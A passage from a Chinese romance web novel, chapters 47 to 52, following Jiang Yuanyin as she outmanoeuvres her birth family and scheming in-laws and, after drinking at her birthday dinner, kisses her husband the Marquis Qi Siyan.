江兴德蹙眉:“到底是怎么一回事!”
“我知晓阿母安排招娣表妹陪嫁,也是为了江家好,她若能被抬为妾,我亦喜闻乐见,可她……”江元音哽咽道:“新婚夜爬床,全然不顾我正妻的颜面也就罢了,还惹怒了侯爷,以至于侯爷直至今日都未与我圆房,害我沦为侯府的笑柄。”
陈招娣急红了脸:“不是这样的,我、我……”
分明不是江元音说的那样,可又几乎全是事实,她根本没有个反驳的点。
江元音接着道:“你的手就是被侯爷随从一剑刺穿,若非我求情,你早**,现在却污蔑是被我踩废,究竟是踩伤还是剑伤,一验便知,而你若不是因为得罪了侯府,为何会
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不想回侯府?”
她条理清晰,字字珠玑,陈招娣支支吾吾,百口莫辩。
江元音又冲江兴德、陈蓉道:“元音句句属实,不敢撒谎,阿父阿母可去侯府求证。”
她说的本就是事实,不怕他们去求证,也深知他们不敢、没资格去求证。
江元音自责叹息道:“总之也怪元音无能,没能劝阻招娣表妹,才造成这般局面,侯府不愿帮忙,此处以是元音能力范围内能寻到的最好府邸,只能委屈阿父阿母先将就住着。”
“不、不是的!”陈招娣挽住陈蓉的手,慌乱道:“江元音是个疯子,可怕得很,她想害死我,姑母不要轻饶她……”
“够了!”江兴德一把拽开陈招娣,将她往地上一扔,厉声道:“元音从小性子软不撒谎,倒是你,一肚子坏水,谎话连篇!要不是你姑母坚持,我根本不会同意你陪嫁侯府!现在你却将元音、将江家连累,真是该死!给我滚回江南陈家!”
陈招娣摔得不轻,手掌一撑地,伤口裂开,疼得她直抽气,哭着看向陈蓉。
陈蓉想帮腔,**兴德一眼瞪了回去。
这些年她没少帮衬娘家,帮衬弟弟陈贵平,江兴德早就颇有微词。
江兴德看见陈招娣就来火,挥手示意家丁直接将其拖下去。
陈招娣不住摇头求饶。
江元音上前,蹲身作势要扶她起来,用着她们两人才听得到的音量说道:“我早提醒你了,乱说话日子不好过,啧,你猜回了陈家,舅舅还会不会让你进门?”
陈招娣气得说不出话,抬手用力推了江元音一把。
江元音避开了她的手,却顺着这股力道踉跄了下,跌坐在地。
“夫人!”
雪燕忙上前搀扶。
江兴德怒不可遏,放下狠话,“你陈家真是蹬鼻子上脸,搞不清自己几斤几两,日后休想再拿我江家一分一毫。”
江元音背对着江兴德,被雪燕搀扶起来,她看着陈招娣,用唇语无声道:你完了。
这陈家她是一定回不去了。
第47章 撩完就跑
与此同时,侯府。
午时快过,曲休第三次提醒道:“侯爷,该吃午餐了。”
齐司延眉目里隐有些烦闷,抬眼突兀地问:“她呢?”
之前不同房时,日日三餐都来寻他,同房第二日,却不见人影。
……这便是她喜欢他的方式?
曲休困惑:“侯爷问的是?”
齐司延沉脸:“……江元音。”
曲休后知后觉地回过神来。
前两回问时,侯爷都回答“再等等”,他只当侯爷还不饿,原来是在等夫人啊。
这同过房后果然不一般,侯爷开始挂心夫人了!
曲休心里嘀咕完后回道:“**一家今日抵京,夫人上午便出府迎接去了。”
齐司延拧眉:“你为何不早说?”
曲休一脸无辜:“侯爷之前不是说,无关紧要的事不要跟你禀告吗?”
他先前可是很主动禀告夫人的事,被叮嘱了后,改成了侯爷问才说。
齐司延黑脸,复而垂首继续看手中书卷,突兀地结束了话题。
半晌后又掀了掀眼皮,冲曲休道:“日后与她相关的事,及时向我禀告。”
“是,侯爷。”
另一边,西街。
收拾了陈招娣,江家人仍难接受这破败的宅子。
江兴德面色凝重,陈蓉唉声叹气,江正耀满脸嫌弃暴躁。
连李管事都愣在那,不知道该不该继续安排家丁们往里搬行李。
江兴德背手,语重心长地教育江元音:“你太温吞,不喜争抢,这性子在未出阁前在家当女儿没问题,家人不会欺负你,可嫁了人,还是要学着有主意厉害些,否则人人可以压你一头,你这侯门主母岂不当的窝囊?”
原本想着她性子软,好拿捏,能让江家用上侯府的人脉。
她倒好,连一个陪嫁丫鬟都制不住,半点帮不上忙。
本以为会被风风光光迎进新宅,没想到连口热乎的茶水都无。
江元音心中冷笑,面上乖顺点头。
她从前在江家被欺负得还少吗?
这时陈蓉质疑出声:“便是侯爷不喜你,连带着看轻我们江家,不出手安顿我们,可以我们当初为你准备的嫁妆,足够你买一处汴京的好宅子吧?”
“我也想寻一处能配得上阿父阿母的府邸,然侯府规矩甚多,我连出府都不易,我那些嫁妆又已悉数入了侯府库房,我亦不能轻易挪用。”
江元音眸色暗淡,愧疚无力道:“元音实在没有法子。”
江兴德目光落在她朴素的着装上,对她的话没有任何质疑,侧头嘱咐陈蓉:“你去给元音找些像样的珠宝首饰。”
陈蓉脸一绿,脱口而出:“还要给?”给她的嫁妆已经够多了!
江元音配合的摇头劝阻:“我平日用不上……”
“怎么用不上?”江兴德不赞同道:“你不打扮得俏丽些,侯爷更注意不到你。”
“是,元音明白了。”
一旁的江正耀才不在意江元音在侯府过得怎样,暴躁喊道:“这破地方我不住!”
江元音细声提议道:“要不委屈阿父阿母暂住客栈,待寻到了满意的府邸再搬?”
“不可!”江兴德一口否决:“那我江家颜面何在?”
女儿嫁入侯门,儿子选中成了太子陪读,自己来了汴京却无落脚之处,需要住在客栈!
日后他要如何结交京城的权贵!
江兴德表了态,吩咐李管事赶紧着手收整修缮宅子。
江元音跟着“忙活”,直至宵禁前,收了箱珠宝首饰,满载而归。
当晚,齐司延回主屋较之昨晚要早了半个时辰。
依旧是曲休将其背上床榻先睡,江元音洗漱后,屏退了雪燕、清秋。
吸取了昨晚的经验,她在桌上留了盏烛火,不必摸黑上床。
江元音轻手轻脚地上了床榻,双手撑在齐司延身侧,俯身越过他时,他倏地睁眸。
“啊……”
她猛不丁地被吓了一跳,手一软,差点直接倒他身上。
或许是距离足够近,他的双眼不再是涣散无神的,而是聚焦的,直直地望着她。
“侯爷?”江元音试探地唤了声,缓神快速躺进里侧,侧身贴近他耳畔,“侯爷还未睡?”
他眸光清明,不似睡醒那般朦胧。
齐司延平躺着,感受到她贴过来的身子,只觉得桌上那盏烛火甚是多余刺眼。
他轻“嗯”了声,“夫人今日出府
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了?”
江元音如实回道:“今日我父母弟弟抵京,我前去安顿他们了,侯爷需静养,不宜劳神,是以我便没来叨扰侯爷。”
“你将他们安顿在何处了?”
“西街。”
“西街?”
“我父亲是商贾,安置在西街最为合适。”
短暂的沉默,齐司延没有任何铺垫,意味深长道:“夫人似乎与家人不太亲近。”
江元音不置可否,她把齐司延当做统一战线的盟友,但没亲密到可以和盘托出,提及她和江家那些恩怨的程度。
其实也没什么好提的,她没有见人便自揭伤疤的喜好。
谁又能保证,他日后不会戳她伤口?
江元音不想齐司延深究与江家相关的一切,故意仰头凑得更近一些,意有所指的玩笑道:“都快咬到耳垂了,还不够亲近吗?”
她纯粹是字面意思,只是想表达两人的距离足够近。
齐司延不知自己是不是魔怔了,脑海竟顺着她的话勾勒出了具体的画面。
他呼吸一滞,从耳垂连着脖颈一片酥麻。
江元音补充道:“侯爷不是说,你我是家人吗?”
比起江家那些虚伪自私的人,她宁可跟他一家。
距离实在太近,江元音侧躺着,嘴唇张合间,无意碰触到了他的耳朵。
齐司延浑身紧绷,闭目试图让自己冷静下来。
他的耳朵实在太过敏感。
……她这是为了生孩子而撩拨他?
江元音毫无所察,等了半晌不见他回应,稍稍抬头看去,发现他双目紧闭,以为他是不喜欢自己这般同他玩笑,装睡无视她。
她没有不悦生气,反倒松了口气。
至少不用再同他讨论江家相关的了。
于是她往里侧挪了挪,拉开两人的距离,盖好被子,闭上了眼。
一想到今日收拾了陈招娣,给江兴德飞黄腾达的权贵梦泼了第二盆冷水,还从江家捞了一大盒珠宝首饰回来,她忍不住扬唇。
今夜一定能睡个好觉。
齐司延原本紧绷的弦因为她的骤然抽离而嗡嗡作响,待心绪平静后他忍不住侧头看她。
……这就睡了?
……撩拨完他就跑?
第48章 醉后求欢
第二天,江元音去静怡轩请安扑了个空。
守院的嬷嬷告知她,陆氏为了齐婧涵下月的婚礼忙活去了,在齐婧涵出嫁前,免她每日的请安了。
江元音乐的轻松,并未多言询问。
陆氏免了她清晨请安,但日日都让嬷嬷送来了“催孕保胎”的汤药。
江元音**都感激涕零的接下,待嬷嬷一走,倒个精光。
不用应付陆氏,而江兴德忙着在汴京落根,江元音是过了几日舒适日子的。
转眼,便是五月初四,齐婧涵出嫁前一天。
陆氏为其操办了出阁宴。
清晨雪燕为江元音梳妆,提及齐婧涵的出阁宴,江元音吩咐道:“你去将我前几日从江家带回来的首饰整理一下。”
拿这些给齐婧涵添妆她不心疼。
可雪燕心疼了,小声道:“侯府今日好生热闹,却无人知夫人今日生辰,为夫人庆生,还得夫人为人送礼。”
江元音自嘲道:“无妨,左右我也未曾庆过生。”
从前在江家,陈蓉总有各种各样的原因忘记她的生辰,末了再轻飘飘说明年一定给她补上。
可年年复年年,她始终等不到。
现在想想,她既是捡来的,江兴德、陈蓉根本不知她生辰。
五月初四并不是她的生辰,有何好过?
江元音不想继续这无意义的话题,在雪燕再次开口前,率先开口绕回先前嫁妆的事:“你且按我说的去准备,莫误了事。”
支开了雪燕,江元音也梳妆完毕,便起身出厢房去唤曲休进来侍候齐司延晨起更衣。
一开始,她尝试亲力亲为,可齐司延非让她先行梳洗,穿戴整齐再去唤曲休来侍候他。
她便不再坚持,只当他想多睡一会,随他去了。
江元音知会了候在门外的曲休,便动身去厨房,看早餐备得如何了。
待端了早餐过来,齐司延已梳洗完毕,坐在餐桌旁了。
二人共进早餐,吃得差不多时,江元音在他耳畔道:“今日是婧涵妹妹的出阁宴,午餐不能侍候侯爷吃了。”
齐司延从不出青松院的门,不参加府中任何宴会活动。
齐司延颔首,唤了声“曲休”。
曲休立马上前,双手给江元音递上一串钥匙。
齐司延淡声道:“这是侯府库房的钥匙,一会宴席上你交予婧涵堂妹,让她得空去趟库房,看中什么皆可拿走,便当是我们为她添妆。”
江元音没想到齐司延会出手如此阔绰的为齐婧涵添妆。
不过,他准备了那她那份就省了,何况据她了解,这侯府库房钥匙,陆氏也有一份,里面的财物怕早就被陆氏占为己有。
让齐婧涵随便挑库房的东西,可以让她一会在宴席上一分不出地扮演“阔绰堂嫂”,于陆氏而言,是把财物从左手挪到右手。
她得了面子,陆氏挣不到半分便宜。
甚好。
江元音欣然收下钥匙,眉眼弯弯冲齐司延道:“妾身定会替侯爷传达对婧涵妹妹的祝福。”
齐司延掀了掀眼皮,又道:“宴席无趣便早些回来,我等你吃晚餐。”
江元音只当他是习惯了她餐餐细心投喂至他嘴边的侍候,不作他想的应声。
午时,江元音出了青松院前去赴宴才知雪燕清晨为何那般愤愤不平。
齐婧涵的出阁宴办得比她嫁入侯府那日还要隆重热闹。
她到宴会厅时,厅里已坐满了人。
齐文台一妻六妾,子女无数,陆氏娘家那边的亲戚亦不少,热热闹闹地坐满了屋子,围着陆氏与齐婧涵,无一人搭理江元音。
整个宴席江元音都备受冷落,直至到了添妆的环节,主位的陆氏朝她看过来,扬声问道:“**,你这个堂嫂为婧涵准备了什么?”
众人皆朝江元音看过来,想看她有何大手笔。
江元音递上钥匙,“这是库房钥匙,侯爷说,婧涵妹妹看中什么皆可拿走,”她莞尔笑道:“我与侯爷祝婧涵妹妹夫妻恩爱,子孙满堂。”
在场一片唏嘘声,有些不明所以的人惊讶着齐司延和江元音竟好似还挺恩爱,感慨着夫妇俩出手大方。
而陆氏脸都绿了。
好好的出阁宴,这么多亲戚在场,她不可能当众说出,侯府库房早被她收入囊中,江元音根本就是拿她的钱来添妆。
江元音分毫没出,就挣了面子!
陆氏气得咬牙,也只能硬生生把气咽下,要笑不笑,阴阳怪气地回:“婧涵,还不快收下谢谢你这大方的堂嫂。”
齐婧涵骄纵惯了,根本藏不住情绪,垮着脸讽刺出声:“给不起别给,装什么?”
江元音故作困惑地眨眨眼,“婧涵妹妹这是何意?难不成是嫌弃侯府库房里的东西吗?”
此话一出,大家都探头探脑地望过来。
陆氏怕齐婧涵失言,只得拉着她,往其外祖母的方向去了。
江元音噙着浅笑待着,目光不着痕迹地环视全场,安静观察着。
这是她第一次见到这么多“齐家人
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”,多了解些,日后指不定能派上用场。
无声观察久了,她竟在齐婧涵身上看出了几分江云裳的影子。
果然被爱包裹长大的人,面上都充盈着相似的底气。
她没被这样爱过,也不可能拥有这样的爱,毕竟连她的亲生父母都遗弃了她。
她心生感慨,思绪飘了很远。
或许日后她可以生个女儿,她可以无条件地去疼爱,也算另一种圆满。
出阁宴一直到酉时才结束,江元音回到青松院时,发现齐司延备好了晚餐,坐在餐桌旁等她。
江元音迈到他身侧,看着满桌未动的菜肴,讶然扬声问道:“侯爷在等我?”
这可是从未有过的事。
“嗯,”齐司延提醒道:“早晨便说了,我等你吃晚餐。”
下一刻,曲休端了碗面进来,径直放到了江元音面前的桌上,道:“怕面稠了,特意等夫人入了院门才下的,夫人且尝尝这长寿面的味道如何!”
江元音一怔,“长寿面?”
“是啊,今日是夫人生辰,祝夫人福寿安康!”
江元音狐疑看向齐司延。
他怎么会知道她今日生辰,难道是早晨听到她与雪燕的对话?
他耳力恢复了?
思及此,她直勾勾地望着他,用着正常人音量,试探问道:“侯爷怎知今日是我生辰?”
然而齐司延目视前方,置若罔闻。
曲休出声回道:“夫人,圣上赐婚时,给侯府送了您的生辰八字来合庚帖。”
江元音心中疑惑消了,涌上些愧疚与感动,凑到齐司延耳畔,“多谢侯爷记得我生辰,为我庆生。”
“我还备了桃花酿,夫人可小酌一杯。”
江元音落座,望着面前的长寿面,忽然百感交集。
活了两辈子,这是第一次,有人记得她生辰,给她庆生。
从前无人记得时,反倒无所谓,现在有人记得了,心口却好似有个黑洞,源源不断地分泌着酸涩委屈。
她夹了一筷子面,只觉得喉间滚烫,一时难以吞咽。
她伸手倒了杯桃花酿,试图压抑喉间的苦涩。
几杯桃花酿下肚,她便醉眼朦胧。
酒意放大了她平日里克制隐忍的情绪,也放大了她下午的感慨与念想。
齐司延真好。
生得好看,品行端正,脾性也好,若能和他生个女儿定是个漂亮讨喜的娃娃。
这样想着,她侧过头看他,笑吟吟地问:“侯爷,我们生个女儿可好?”
第49章 缠绵的吻
齐司延面无表情,毫无反应。
江元音只当他没听见,起身朝他走去,似往常那般俯身凑到他耳畔。
酒意下,忽然的起身蹲身让她头晕目眩,下意识地伸出双手环住齐司延的脖颈,以免摔倒,模糊重叠的视野里,她凭感觉习惯贴近他的耳朵,呢喃重复:“侯爷,我们生个女儿,可好?”
说话间,她的唇若有似无地触碰着他的耳垂,像是落下一个个浅淡缠绵的吻。
齐司延眸色深了几许,伸手尝试拉开她。
雪燕没忍住瞅了一眼,只觉得齐司延俊脸阴沉,隐有愠色,忙上前去扶江元音,冲他大声解释喊道:“侯爷,夫人不胜酒力,已经醉了,奴婢扶夫人回床榻躺躺,不耽搁侯爷吃饭!”
语罢低声哄劝江元音:“夫人,你醉了,雪燕扶你去歇息吧!”
清秋亦随之上前来搀扶,可江元音满心满眼都是,齐司延还没给她回答。
没有听到回答,她不走。
一番拉扯,她索性跌坐到他怀里,环住他脖颈,仰头看他,固执地重复问道:“侯爷,我们生个女儿,可好?”
雪燕和清秋一颤,窘迫得面面相觑。
如今江元音整个人都窝入齐司延怀里,她们继续拉扯,难免要碰触齐司延。
她们继续拉扯不是,松手也不是。
救命——!
夫人喝酒后,也太肆意大胆了吧!
齐司延垂首,她一双杏眸湿漉漉的,似含了一汪春泉。
短暂地对视,在大家都以为他会再次伸手推开江元音时,齐司延一手揽住她的纤腰,一手护住她的后背,让她能安稳地坐在自己怀里,继而沉声吩咐道:“曲休,推本侯进去。”
曲休应声上前,神色也很微妙。
他从未想过,有一天侯爷会在轮椅上抱人,还让他推轮椅的一天。
原本以为的温馨晚餐怎么忽然变成了……咳——生孩子?
雪燕和清秋尴尬又忧心地跟上。
等到了床边,齐司延垂首,冲怀里满身酒气执拗的人道:“夫人不妨去床上躺着,我们慢慢说。”
曲休、清秋、雪燕:……!
这又是什么虎狼之词?
但有了齐司延这句话,江元音终于肯从他身上下来,雪燕和清秋赶忙上前搀扶,终是将她扶到了床榻上。
可江元音不肯躺下,仍旧伸手拽着齐司延的衣摆。
齐司延任由她拽着,出声吩咐道:“你们下去吧,我陪陪她。”
雪燕原本有些迟疑,但见江元音直直盯着齐司延,一眼不挪,只好和清秋一起退下了。
随着关门声响起,屋内只剩下他们两人。
江元音一手撑床坐着,一手搭在齐司延的大腿上,固执地又重复地问了一遍。
被酒精**大脑,她只能单一的思索问题。
在得到他答复之前,无法进行下一步。
齐司延只是目不转睛地望着她,眸色复杂,有审视有打量。
……她现在有几分醉意?
……酒醒后又能记得几分?
思绪起伏,他谨慎地没给出任何回应,维持着耳目不聪的形象。
江元音便顺着他的腿,上半身又爬到他身上,双手环住他的脖颈借力,仰着头看他,秀眉微蹙,终于换了个问题:“侯爷一直不回答,是不愿意吗?”
不愿意就算了,等他病好了,她就与他和离回到江南。
她可以再寻个貌美性好的男子,生个漂亮的女儿。
齐司延不答反问:“夫人为何想和我生女儿?”
他声音压得很低,带着些诱哄的意味,想听她坦露心声。
她默默对他好,为他谋划、解毒、对付陆氏,她对他的爱意渗透在方方面面,却从未直白的在嘴上说明过。
“为何……?”江元音不胜酒力地歪了歪头,认真思索了片刻,伸手抚上他的眉眼,“你是我的夫君,你生得好看,你帮我撑腰,你记得我生辰,你……和我一样。”
他们都失去了父母,都只有想吸血的家人。
他们中过同一种毒,有相似的无助。
他也会对孩子好的吧,他们的女儿一定能在
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爱里长大。
视野里,他墨色的眸如黑色的漩涡,吸引着她凑近,再凑近。
随后她似是被蛊惑了一般,吻上他的唇。
今夜便和他生个女儿。
齐司延身子一僵,唇上温软湿润的触觉,带着些淡淡的桃花酿的香气,诱着他细细品尝一番。
下一瞬,在理智崩塌前,他双手按住她的双肩,推开了她,哑声道:“……现在不可以。”
不该在她神志不清的时候,这样稀里糊涂地欺负她。
江元音睫毛轻颤,潋滟的眸光里全是困惑与无辜。
她下意识地舔了下唇,似是在回味刚刚的那个吻。
齐司延呼吸一滞,目光灼热起来。
……她从哪学的这些个勾人的手段?
江元音顺着他的话思考,好似忽然想起了什么,恍然大悟道:“噢,是的,侯爷身子不行,现在生不了。”
得到了个肯定的答案,她的念想骤然消散了。
不执着于生女儿后,只觉得大脑昏沉,睡意来袭,她从他身上离开,往床榻上移去。
江元音的话与空落落的怀抱让齐司延的理智彻底崩塌,他自轮椅起身,将她压在床榻上,俯身用力吻上她的唇。
“唔……”
她呜咽出声,他顺势侵入,与她唇舌纠缠。
他品尝着她唇舌间的酒气,只道这桃花酿着实醉人。
江元音早就神志不清,此刻被吻得七荤八素,浑身没有半点力道,只觉得自己好似贴到了个巨大的暖炉。
不知过了多久,在她快不能呼吸时,他终于离开了她的唇,灼热的身子抵住她,哑声问道:“本侯行不行?”
江元音双唇红肿,急促地换气喘息,一双眼雾蒙蒙的,仿佛下一秒就要哭出来。
齐司延陡生懊恼,倾身又吻了吻她。
只是这一回动作轻柔,浅尝即止,更像是安抚。
他将她揽入怀抱,“是我不好,我不该趁人之危欺负你。”
他下巴轻轻磨蹭着她的发顶,又低声哄道:“好阿音,不哭可好?”
第50章 她强吻轻薄了他
是夜。
曲休无声无息进入主屋,停在外间,低头望着地板,低声唤道:“侯爷。”
齐司延神色一凛,感受着江元音均匀的呼吸声,轻声回应:“嗯?”
曲休继续低声说道:“请侯爷移步,有要事要禀。”
齐司延小心翼翼抽出自己**元音枕着的胳膊,替她掖好被子,轻手轻脚下了床。
子时,万籁俱寂,两人径直去了书房。
门一合上,曲休上前道:“给陆氏**的人找到了,等候侯爷问审。”
他将一封信件递上,“这是此人的生平背景。”
末了,补充一句:“关将军传了口信,有要事要同侯爷面议。”
齐司延接过信件,看完后,神色凝重。
他身上的毒非同一般,时至今日,都未能查出个**的名字来。
以陆氏的能耐,根本拿不到这样的**,便是机缘巧合拿到了,她早在他幼时便一鼓作气将他直接毒**,不可能耐着性子,徐徐图之。
他早就猜测过,陆氏是受人指使,她不过是那人的刀。
为找出幕后主谋,他迟迟未收拾陆氏。
齐司延眸光阴沉,吩咐道:“去准备,天一亮出发去云鹤观。”
“是,侯爷。”
江元音睡得迷迷糊糊的,分不清梦境与现实。
她觉得自己一会在云端漫步,身子轻飘飘地往下坠,一会又似被一个炙热的暖炉接住包裹。
有风轻抚她的脸,格外疼惜温柔,令她心生眷恋。
可梦只是梦,清晨天亮,她便从梦中醒来。
江元音睁开眼,觉得大脑依旧昏沉,身侧不见齐司延。
他什么时候起的?
她怎么半点动静都不知道?
她觉得口干舌燥,便张嘴唤道:“雪燕、清秋。”
早候在门口的两人闻声而入,却不似以往那般利索坦然,眉眼低垂,有些不敢抬眼看地迈进来,生怕看到什么不该看的。
“甚是口渴,给我倒杯水,”江元音吩咐完,随口问道:“侯爷呢?何时起的?”
清秋去倒水,雪燕闻言,这才敢抬头朝江元音走过去,“侯爷走了?我和清秋卯时正点便在屋外候着了,没见到侯爷离开啊,夫人……”
走到了床边,雪燕看清楚江元音的样子,瞬间脸红止声,目光躲闪,尴尬不敢直视。
夫人过夜果然将侯爷给……夫人也太猛了!
江元音觉得她这反应反常得很,蹙眉问道:“怎么了?”
“夫人的嘴……咳……”
“我的嘴怎么了?”江元音疑惑伸手摸上自己的唇,一碰禁不住吸气“嘶”了一声。
竟有些疼!
清秋端了杯水递过去,忙道:“呀,夫人嘴唇肿得厉害,我这就去拿镜子给夫人瞧瞧!”
江元音将杯中水一饮而尽,口渴缓解不少。
雪燕接过水杯,清秋将铜镜拿了过来。
江元音一照镜子,才知道自己的双唇是引人遐想的红肿,难怪雪燕是那般反应。
她难以置信地扬声:“……侯爷昨夜亲我了?!”
齐司延疯了?
平日里不近女色的禁欲模样,却将她的唇啃成这样!
雪燕和清秋交换了下眼神,雪燕一番纠结后决定如实以告,扯了扯唇角,很是委婉地回道:“应该也许大概可能……是夫人亲了侯爷……”
昨夜夫人的主动大家都看在眼里,一口一句要跟侯爷生孩子,坐在侯爷怀里的画面,她们还记忆犹新。
此刻夫人红肿的唇,更似是证据确凿。
江元音下意识地否认:“这如何可能?我半点印象都无。”
“夫人且仔细想想,昨夜还记得什么?”
江元音凝神回想。
昨日她从齐婧涵的出阁宴回来,齐司延为她准备了长寿面,为她庆生。
她很是感动,为了抑制情绪,喝了几杯桃花酿。
然后……她想跟齐司延生个女儿。
她依稀记得自己把这句话问出口,至于他是什么反应,后来发生了什么,她却怎么也想不起来。
江元音有些不好的预感,深呼吸后开口道:“我昨天喝酒后便没了意识,我说了什么,做了什么,你们如实告诉我。”
“夫人昨晚坚持要跟侯爷生孩子,我们劝不住,夫人直接坐到侯爷怀里。”
“侯爷没法,只好坐着轮椅把夫人抱到床上,可夫人不
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肯休息,拽着侯爷不松手,执意要跟侯爷生孩子,侯爷……”
“……可以了,”江元音打了个寒颤叫停,“侯爷……没制止?”
便是她喝多了发酒疯,他也不会由着她吧?
她们拉不住她,曲休呢?
雪燕回想了下齐司延昨夜的反应,一边观察江元音的神色,一边试探性地回道:“侯爷有制止的。”
清秋点头,附和提醒道:“侯爷昨夜似乎没睡在主屋。”
江元音:……
也就是她昨夜借着酒劲,强吻轻薄了齐司延,而他被吓到不敢与她同房?
天塌了。
接下来她要怎么面对他?
一阵尴尬的沉默后,雪燕跳开话题道:“今日婧涵小姐出嫁,夫人先梳洗更衣吧?”
江元音点头起身。
梳妆打扮后,江元音望着铜镜里那越发鲜艳欲滴的红唇,惆怅的叹了口气。
她酒后真有那么荒唐?
但一想想齐司延那淡漠禁欲的模样,又觉得荒唐的人只能是她了。
毕竟一个无心情爱的男人,怎么可能把她吻成这样?
昨夜该有多激烈啊……
咳——
江元音强行止住自己翩飞的思绪,琢磨着等送齐婧涵出了嫁,再去寻齐司延,好好为昨晚的荒唐赔罪。
陆氏嫁女,铆足了劲作势,侯府热闹非凡。
江元音的红唇实在惹眼,昨日无视她的那些齐家人、陆家的亲戚,都纷纷侧目看向她。
大家神色各异,和身边的人小声嘀咕,相当精彩。
江元音原本是有些不自在的,但瞟见陆氏的黑脸,早晨的尴尬便化作了舒爽。
她佯作不好意思地捏帕掩唇,眉眼里却是旖旎的娇羞,旁观着陆氏和齐婧涵母女情深的惜别。
齐婧涵上了花轿,迎亲的队伍锣鼓喧天地走远。
陆氏侧瞟了江元音一眼,冷声道:“你随我来,我有话要同你说。”
陆氏儿媳秦氏朝江元音投来关心的目光,无声暗示陆氏要找她麻烦。
江元音回了个无碍的眼神,低眉顺眼地应声跟上陆氏。
和一会要去寻齐司延道歉相比,她觉得应付陆氏是小菜一碟。
第51章 莫不是有喜了?
毫不意外地,陆氏盯着江元音的红唇,叫邓嬷给她送上汤药。
陆氏:“这回可拿稳了,别又洒了。”
江元音心底轻笑,不喝这避子汤的法子多了去了,何止拿不稳洒掉一种?
她温顺点头,接过药碗,在陆氏的注视下,低头喝了一大口。
陆氏嘴角刚满意上扬,她却没咽下去,直接吐了出来。
陆氏脸色骤变,“你故意的?!”
江元音抚住胸口,不住地干呕,好一会才缓过来,虚弱解释道:“非侄媳故意浪费二叔母的心意,只是一闻到这药味,不知为何胃里一阵翻涌恶心,压都压不住。”
“这……”秦氏过来扶她,欣喜道:“你莫不是有喜了?”
江元音怀孕了,陆氏断不能再将齐维航过继过去!
“啊……”江元音红了脸,欣喜地望向主位的陆氏,“那一定是二叔母日日派人送来的补药起了效,多谢二叔母费心。”
“那可真是天大的好事啊,”陆氏笑得阴阳怪气,“一会让郎中给你把个脉,若真有喜了,可得给你开几副安胎的药。”
“多谢二叔母,”江元音顺势告辞,“那侄媳先回青松院候着了。”
“不急,你在这候着便是,正好我还有事要交代你。”陆氏使了个眼色,示意邓嬷去请郎中。
她扶额撑在矮几上,“近来为了婧涵出嫁我甚是劳累,想好生休息一阵,三日后的归宁宴便交予你来操办了。”
秦氏率先出声请缨道:“弟妹有喜亦不宜操劳,母亲不如将归宁宴交予我来操办吧。”
她比任何人都想护住江元音腹中胎儿。
陆氏一记眼刀飞过去,“她是否真怀上了,还得郎中请过脉才作数,她便是有孕操劳不得,婧涵的归宁宴也不会交给你这没能耐的东西。”
当着一屋子的人,她骂得不留颜面。
秦氏抿唇,脸色红白交替。
“多谢堂嫂好意,”江元音适时出声缓和,对陆氏道:“能得二叔母信任,为二叔母分忧,是侄媳的荣幸,侄媳一定尽心尽力办好婧涵妹妹的归宁宴。”
她和齐司延昨夜到底是何情况还不清楚,但八成是没圆房的,怎么可能怀孕。
虽说陆氏让她办归宁宴一定没安好心,但这亦是个绝佳的好机会。
她可以借着操办宴席的由头,好好调查侯府的衣食住行,指不定能翻出些陆氏的罪证。
左右半个归宁宴不是什么难事。
江元音应了,陆氏又开始叮嘱交代宴席的规格要求,待说完,郎中也到了。
请完脉,郎中作揖道:“夫人暂未有孕。”
江元音故作失落的叹了口气,陆氏亦是佯作惋惜地提醒:“这眨眼便是一月有余,距离三个月剩不到两月,你可得努力争气啊。”
“是,侄媳明白。”
在场唯有秦氏揪着心,真情实感地失望。
回青松院的路上,秦氏追了上来。
僻静的廊道,秦氏满脸心慌焦灼,急声问道:“眼瞅着过了一个半月了,弟妹究竟有何法子,不妨与我说道说道?”
她往前凑得近些,视线落在江元音的腹部,“你这肚子何时才能有消息?”
“很难有,”江元音直白道:“二叔母每日令人送我喝的汤药,是避子汤。”
秦氏讶然捂口,恍然明白江元音刚刚在陆氏面前的反应。
她对陆氏的狠毒深有体会,半点不质疑江元音的话。
“那弟妹为何不揭穿,虽说侯府已是……”鸠占鹊巢的真相她到底不好意思宣之于口,目光落在江元音鲜红的唇上,委婉道:“侯爷同你感情不错,应是会为你撑腰……”
她说着语气减弱,有些底气不足。
不管齐司延和江元音感情如何,以他如今身体,又没什么实权,怕是也奈何不了陆氏。
同活在陆氏的阴霾下,她对江元音产生了些同情。
江元音不做过多的解释,温声安抚道:“堂嫂莫急,且再等等。”
“等什么?”
“东风。”
陆氏是现在侯府实际上的“主母”,没有一击
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必中的把握,江元音不会轻易出手。
江元音浅笑道:“等时机成熟,还望堂嫂配合。”
秦氏望着江元音浅淡的笑容,却莫名的信服。
她能知道陆氏日日给她送的是避子汤,并且不声张从容应对,已比常人聪慧有主意。
何况这偌大的侯府,除了她,再没有人能帮自己。
秦氏颔首表态:“一切皆听你安排。”
她顿了顿,又道:“晚点我收整一下,差人送点银两给你。”
江元音挑眉,静候下文。
秦氏解释道:“我也是嫁进来后才知道,侯府一直在吃老侯爷当年留下来的老本,此次为了不被国公府看轻,母亲当是掏空了家底给婧涵陪嫁,怕是手头紧才将这归宁宴交予你来操办。”
江元音恍然,原来这就是陆氏给她挖的坑。
早前是想占了她的嫁妆,去给齐婧涵陪嫁,前日让她添妆,被齐司延一把库房钥匙打发了。
今日让她操持归宁宴,是变着法子让她掏钱来贴补。
“我嫁入侯府六年,嫁妆也早被母亲……”秦氏习惯性地点到即止,“我手头所剩不多,但能帮一点是一点,你莫嫌弃。”
这亦是她向她表达感谢与诚意的方式。
她只要能留住自己的孩子。
江元音婉拒了,“银两就不必了,侯府有库房呢,这钱无论如何也轮不到你我才出的。”
秦氏欲言又止地望着她,“你可是没听明白我先前说的?”
侯府库房的钱,显然是不够操办陆氏要求的那样规格标准的归宁宴的。
“听明白了,”江元音笑道:“钱的事堂嫂无需操心,若真想帮忙,便出力陪我张罗好了。”
这个是陆氏送上门的搜查侯府钱财的好机会。
她可以顺着亏空的钱财,一点点将陆氏的所作所为曝露在齐司延面前。
思及此,她觉得是时候去找齐司延,好好理一理昨夜酒醉后的事了。
咳——
若真是她强吻轻薄了他,她会诚心道歉的。
第52章 心慌意乱
去往齐司延起居室的路上,江元音难得的有些心慌意乱。
她一边绞尽脑汁回忆昨晚的细节,一边又生出些好奇。
昨晚要是吻得激烈,红肿得不该只有她的嘴唇吧?
然而齐司延不在书房、不在起居室。
这一回避免又出现上次他说的,他在房里,只是没听见她的声音的情况,她特意去了房里查看。
齐司延不在。
